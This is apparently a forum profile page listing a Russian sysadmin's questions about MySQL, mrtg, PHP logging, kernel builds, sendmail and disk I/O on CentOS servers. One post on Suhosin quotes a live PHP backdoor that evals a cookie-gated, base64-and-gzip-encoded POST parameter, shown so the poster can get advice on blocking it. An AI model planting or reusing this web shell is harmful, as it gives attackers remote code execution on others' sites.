mysql     3836 41.3  1.4 2013924 172632 ?      Sl   Jun04 1201:59 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --log-error=/var/lib/mysql/host.err --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/lib/mysql/mysql.sock --port=3306
service mysqld status
mysqld dead but subsys locked
/var/run/mysqld/mysqld.pid не существует, пробовал вручную создавать - не помогло

в /var/lock/subsys/mysqld присутствует

куда копать?

commeta
()

mrtg Expected a Number for 'in' but got

Глюк с графиком нагрузки ЦП

Секция mrtg.conf

Target[cpua]: `/etc/mrtg/cpuinfo.pl`
MaxBytes[cpua]: 100
Options[cpua]: gauge,nopercent
Unscaled[cpua]: dwym
YLegend[cpua]: % of CPU used (average 10 sec)
ShortLegend[cpua]: %
LegendO[cpua]: &nbsp;CPU System:
LegendI[cpua]: &nbsp;CPU User:
Title[cpua]: host
PageTop[cpua]: <H1>CPU usage for host
 </H1>
  <TABLE>
    <TR><TD>System:</TD><TD>host</TD></TR>
   </TABLE>

cpuinfo.pl

#!/usr/bin/perl

   $getcpu = `/usr/bin/sar -u 1 3 | grep "Среднее"`;
   $getuptime = `date +%s`;

   # Parse though getcpu and get data
   $getcpu =~ /^Среднее:\s+all\s+(\d+),\d+\s+\d+,\d+\s+(\d+),\d+\s+\d+,\d+/;
   $getcpuusr = $1;
   $getcpusys = $2;

   # Print getcpu data for mrtg
   print $getcpuusr."\n";
   print $getcpusys."\n";

   # Print getuptime data for mrtg
   print $getuptime;

   # Print machine name for mrtg
   print "host\n";

exit(0);
на выходе cpuinfo.pl
8
7
1370352717
host

говорю ему

LANG=C LC_ALL=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg --lock-file /var/lock/mrtg/mrtg_l --confcache-file /var/lib/mrtg/mrtg.ok

- ругается:

2013-06-04 17:33:11: WARNING: Problem with External get '/etc/mrtg/cpuinfo.pl':
   Expected a Number for 'in' but got ''

2013-06-04 17:33:11: WARNING: Problem with External get '/etc/mrtg/cpuinfo.pl':
   Expected a Number for 'out' but got ''

2013-06-04 17:33:14: ERROR: Target[cpua][_IN_] ' $target->[1]{$mode} ' did not eval into defined data
2013-06-04 17:33:14: ERROR: Target[cpua][_OUT_] ' $target->[1]{$mode} ' did not eval into defined data

заменяю в cpuinfo.pl

$getcpuusr = "2";
$getcpusys = "3";

на выходе cpuinfo.pl соответственно

2
3
1370352717
host
LANG=C LC_ALL=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg --lock-file /var/lock/mrtg/mrtg_l --confcache-file /var/lib/mrtg/mrtg.ok
отрабатывает нормально! в чем грабли?

commeta
()

log для php по созданию файлов и каталогов

Подскажите как реализовать отдельный лог для веб сервера, чтобы имена создаваемых средствами php файлов и каталогов складывались в лог.

Сервер centos 6 apache 2 php 5.3

уточню что нужен именно лог на уровне сервера, чтобы при создании файла или каталога на любом из сайтов, появлялась соответствующая запись в логе.

или может это сторонними утилитами делать?

commeta
()

Сборка ядра, с автоматическим выбором модулей

Напомните пожалуйста как при конфигурировании ядра включить только те модули которые нужны в данной системе, там какая то цель была у make, не помню уже, в гугле наглухо забанили.

commeta
()

Отлов зависших php скриптов, на сервере

Подскажите чем лучше отлавливать php скрипты по нагрузке на процессор и времени выполнения, есть Сервер, на нем крутится апач2 с виртуальными хостами > 100 сайтов, дочерний процесс апача от имени пользователя стартует, у каждого виртуального хоста свой пользователь заведен. Начал с парсера mod_stat apache, но такой костыль выходит... Может есть по эффективней что нибудь?

Хочется ловить скрипты с завышенным time limit, и CPU% аварийно завершать их, и складывать в лог т.к. чудо сайтов с вирусами и криворуким кодом очень много. Что посоветуете?

CentOS 6.3

commeta
()

Suhosin и защита от back door php

Есть с десяток сайтов на них постоянно back door`ы появляются вида:

<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}
?>
и тому подобные.
посоветуйте какие функции запретить чтобы у них не было доступа к файлам сайта (иначе инклюды делают) и рассылке спама.
Сейчас начал отключать функции которые через eval идут, но многие отключить не удается, они движками сайтов используются...
так же смотрю в сторону блокировки на уровне iptables по owner output
Что еще посоветуете?

commeta
()

вопрос про sendmail и MX yandex

Есть сервер, на нем домен example.ru, у домена MX yandex.ru
при отправке почты средствами mail php на ящик mail@example.ru почта до яндекса не доходит, на обратный адрес приходит

<<< 553 5.3.0 <mail@example.ru>... No such user here
550 5.1.1 mail@example.ru... User unknown
<<< 503 5.0.0 Need RCPT (recipient)

Куда копать?
CentOS 6

commeta
()

php зависает ssh2_scp_recv

Работала функция все нормально было, а сейчас виснет и файл 0 размера в приемнике...

#!/usr/bin/php
<?php
$connection = ssh2_connect("xxx.xxx.xx.xx", 22); 
if (!$connection) die('Connection failed');
if (ssh2_auth_pubkey_file($connection,'root','rsa/id_rsa.pub','rsa/id_rsa')) {
  echo "Public Key Authentication Successful";
} else {
  die('Public Key Authentication Failed');
}
$flg= ssh2_scp_recv($connection, '/root/config.php', '/var/www/config.conf');	
exit();
?>
в чем грабли?

Ubuntu 12.04 php -v PHP 5.3.10-1ubuntu3.5 with Suhosin-Patch (cli) (built: Jan 18 2013 23:45:59) Copyright (c) 1997-2012 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies

 , ,

commeta
()

Лог процессов с Disk I\O write выше 2MB\Sec

Подскажите как правильнее реализовать сабж. CentOS 6

В zabbix`е все время Disk I/O is overloaded а откуда не понять, iotop`ом не отловить никак.

commeta
()

RSS подписка на новые темы